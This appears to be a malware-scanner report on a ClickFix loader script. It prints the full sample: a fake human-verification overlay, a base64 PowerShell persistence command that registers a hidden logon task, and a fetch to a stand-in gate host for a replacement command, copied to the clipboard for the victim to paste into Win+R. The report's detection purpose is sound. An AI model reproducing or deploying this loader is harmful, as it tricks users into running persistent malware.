Hostile ^100% Download

cdn-clickfix-loader.js

Clickfix malware loader

ClickFix page copies a Windows Run commandEncoded PowerShell reference

SHA-25671e19b75a3536ec42302fee8b7d8396d2a7bcb7310093ef1904d1327bab37c1a

MaleculeO₆(Xe₂As₂C₂CaErI)H₆(Cm₆Db₂FOs₃Po₆U₂)Md

Evidence

Encoded PowerShell reference lines 1–22

1const overlay = `
2  <main id="verification-container">
3    <h1>Verify you are human</h1>
4    <button id="verify-button">Verify</button>
5    <div id="steps" hidden>
6      <p>Press Win + R to open the Run dialog.</p>
7      <p>Paste with Ctrl + V, then press Enter.</p>
8    </div>
9  </main>`;
10
11document.body.innerHTML = overlay;
12
13const packed = "cG93ZXJzaGVsbC5leGUgLU5vUHJvZmlsZSAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICIkYT1OZXctU2NoZWR1bGVkVGFza0FjdGlvbiAtRXhlY3V0ZSBwb3dlcnNoZWxsLmV4ZSAtQXJndW1lbnQgLU5vUHJvZmlsZSAtRmlsZSAkZW52OkFQUERBVEFcXENhY2hlXFxzeW5jLnBzMTskdD1OZXctU2NoZWR1bGVkVGFza1RyaWdnZXIgLUF0TG9nb247UmVnaXN0ZXItU2NoZWR1bGVkVGFzayAtVGFza05hbWUgQnJvd3NlclVwZGF0ZSAtQWN0aW9uICRhIC1UcmlnZ2VyICR0IC1Gb3JjZSI=";
14
15document.querySelector("#verify-button").addEventListener("click", async () => {
16  let command = atob(packed);
17  const response = await fetch("https://redirect.example.invalid/gate?get_command=1");
18  const data = await response.json();
19  command = data.command || command;
20  await navigator.clipboard.writeText(command);
21  document.querySelector("#steps").hidden = false;
22});